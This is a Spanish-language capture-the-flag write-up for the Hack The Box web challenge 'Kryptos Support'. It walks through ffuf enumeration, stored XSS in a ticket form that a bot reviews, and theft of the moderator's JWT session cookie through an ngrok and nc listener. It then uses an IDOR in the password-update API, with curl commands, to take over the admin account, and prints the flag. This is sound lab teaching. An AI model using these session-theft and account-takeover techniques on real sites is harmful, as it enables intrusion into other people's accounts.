Kryptos Support
6 minutos de lectura
Se nos proporciona esta página web:
Nos permite enviar mensajes que serán revisados por un administrador:
Enumeración
Como no tenemos el código fuente, vamos a usar ffuf
para descubrir algunas rutas:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://188.166.146.25:32282/FUZZ
[Status: 200, Size: 2352, Words: 1056, Lines: 53, Duration: 46ms]
* FUZZ: login
[Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 37ms]
* FUZZ: admin
[Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 39ms]
* FUZZ: static
[Status: 200, Size: 2352, Words: 1056, Lines: 53, Duration: 41ms]
* FUZZ: Login
[Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 37ms]
* FUZZ: logout
[Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 36ms]
* FUZZ: settings
[Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 39ms]
* FUZZ: tickets
[Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 68ms]
* FUZZ: Admin
[Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 39ms]
* FUZZ: Logout
[Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 39ms]
* FUZZ: Static
[Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 62ms]
* FUZZ: Tickets
[Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 36ms]
* FUZZ: SETTINGS
[Status: 200, Size: 2067, Words: 934, Lines: 54, Duration: 39ms]
* FUZZ:
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 41ms]
* FUZZ: %C0
[Status: 200, Size: 2352, Words: 1056, Lines: 53, Duration: 41ms]
* FUZZ: LogIn
[Status: 200, Size: 2352, Words: 1056, Lines: 53, Duration: 42ms]
* FUZZ: LOGIN
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 39ms]
* FUZZ: %CF
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 40ms]
* FUZZ: %CD
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 40ms]
* FUZZ: %CE
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 41ms]
* FUZZ: %D8
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 41ms]
* FUZZ: %CC
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 42ms]
* FUZZ: %CB
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 42ms]
* FUZZ: %CA
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 42ms]
* FUZZ: %D0
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 38ms]
* FUZZ: %D1
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 36ms]
* FUZZ: %D7
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 41ms]
* FUZZ: %D6
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 44ms]
* FUZZ: %D5
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 44ms]
* FUZZ: %D4
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 37ms]
* FUZZ: %C2
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 42ms]
* FUZZ: %C8
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 44ms]
* FUZZ: %C9
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 44ms]
* FUZZ: %C1
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 48ms]
* FUZZ: %D2
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 48ms]
* FUZZ: %D3
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 39ms]
* FUZZ: %C6
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 40ms]
* FUZZ: %C7
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 38ms]
* FUZZ: %C4
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 41ms]
* FUZZ: %C5
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 40ms]
* FUZZ: %C3
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 40ms]
* FUZZ: %D9
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 39ms]
* FUZZ: %DD
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 40ms]
* FUZZ: %DE
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 42ms]
* FUZZ: %DF
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 40ms]
* FUZZ: %DB
Vemos que tenemos una página de inicio de sesión (en realidad, hay un enlace en “BACKEND” que apunta a /login
, por lo que no es estrictamente necesario aplicar fuzzing):
Pero no tenemos credenciales válidas. Además, no hay una página de registro. Quizás podríamos probar credenciales débiles (admin:admin
, user:password
…), pero no funcionan.
El resto de las páginas enumeradas por ffuf
aplican una redirección, por lo que debemos autenticarnos para acceder a estas páginas.
Encontrando un XSS
Centrándonos en la primera funcionalidad del sitio web, podemos enviar mensajes que serán revisados por algún usuario (o bot). Tal vez, el usuario abre el mensaje en el navegador, por lo que podemos probar a inyectar algún código HTML y ver si se interpreta. Por ejemplo, podemos insertar una etiqueta img
con el atributo de recurso apuntando a nuestro servidor.
Inyección de código HTML
Para exponer un servidor HTTP local, podemos usar ngrok
:
$ ngrok http 80
ngrok
Join us in the ngrok community @ https://ngrok.com/slack
Session Status online
Account Rocky (Plan: Free)
Version 3.1.1
Region United States (us)
Latency 121ms
Web Interface http://127.0.0.1:4040
Forwarding https://abcd-12-34-56-78.ngrok.io -> http://localhost:80
Connections ttl opn rt1 rt5 p50 p90
1 0 0.01 0.00 3.38 3.38
Ahoram abrimos nc
en el puerto 80:
$ nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Luego, enviamos este código HTML como mensaje:
Y nos llega una petición:
$ nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from ::1.
Ncat: Connection from ::1:61030.
GET /img HTTP/1.1
Host: abcd-12-34-56-78.ngrok.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/101.0.4950.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:1337/
Sec-Ch-Ua:
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform:
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
X-Forwarded-For: 188.166.146.25
X-Forwarded-Proto: https
Por lo tanto, el código HTML fue interpretado por el navegador (no fue tratado como texto plano).
Cookie hijacking
En este punto, podemos explotar un Cross-Site Scripting (XSS), es decir, ejecutar código JavaScript en el navegador del usuario. Por ejemplo, podemos intentar obtener su cookie de sesión. Un simple payload es este:
Y así conseguimos la cookie:
$ nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from ::1.
Ncat: Connection from ::1:61135.
GET /session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NzU4NTMyODl9.WxkaQ_VYa8mZodQ_0TSX0HUbUSr2sT27wFVZYOTNm2U HTTP/1.1
Host: abcd-12-34-56-78.ngrok.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/101.0.4950.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Origin: http://127.0.0.1:1337
Referer: http://127.0.0.1:1337/
Sec-Ch-Ua:
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform:
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
X-Forwarded-For: 188.166.146.25
X-Forwarded-Proto: https
Esta cookie es un token JWT. La información que contiene este token está en la parte central, codificada en Base64. Parece que el usuario/bot se llama moderator
:
$ echo eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NzU4NTMyODl9 |
base64 -d | jq
{
"username": "moderator",
"uid": 100,
"iat": 1675853289
}
Muy bien, si colocamos esta cookie en el navegador y refrescamos, tendremos la sesión de moderator
:
Si tratamos de ir a /admin
se nos redirige a /tickets
. Por lo tanto, de alguna manera debemos iniciar sesión como admin
.
Compromietiendo a admin
Hay otra página en /settings
:
Aquí podemos actualizar nuestra contraseña. Esto parece prometedor:
Obsérvese que la petición HTTP subyacente envió la nueva contraseña y el identificador del usuario (uid
). Si el servidor es vulnerable, podríamos cambiar la contraseña de otros usuarios, sin conocer la contraseña actual (IDOR, Insecure Direct Object Reference).
Vamos a pasar a curl
(en Firefox, podemos copiar la petición como comando curl
):
$ curl 188.166.146.25:32282/api/users/update -d '{"password":"asdf","uid":"100"}' -H 'Content-Type: application/json' -H 'Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NzU4NTMyODl9.WxkaQ_VYa8mZodQ_0TSX0HUbUSr2sT27wFVZYOTNm2U'
{"message":"Password for moderator changed successfully!"}
Perfecto, funciona. Veamos si hay un usuario con uid
igual a 0
(probablemente admin
):
$ curl 188.166.146.25:32282/api/users/update -d '{"password":"asdf","uid":"0"}' -H 'Content-Type: application/json' -H 'Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NzU4NTMyODl9.WxkaQ_VYa8mZodQ_0TSX0HUbUSr2sT27wFVZYOTNm2U'
{"message":"The user doesn't exist!"}
No… uid
igual a 1
?
$ curl 188.166.146.25:32282/api/users/update -d '{"password":"asdf","uid":"1"}' -H 'Content-Type: application/json' -H 'Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NzU4NTMyODl9.WxkaQ_VYa8mZodQ_0TSX0HUbUSr2sT27wFVZYOTNm2U'
{"message":"Password for admin changed successfully!"}
¡Sí! Ahora deberíamos poder iniciar sesión como admin
con contraseña asdf
:
Flag
Ahí está, tenemos la flag (HTB{p0pp1ng_x55_4nd_id0rs_ftw!}
):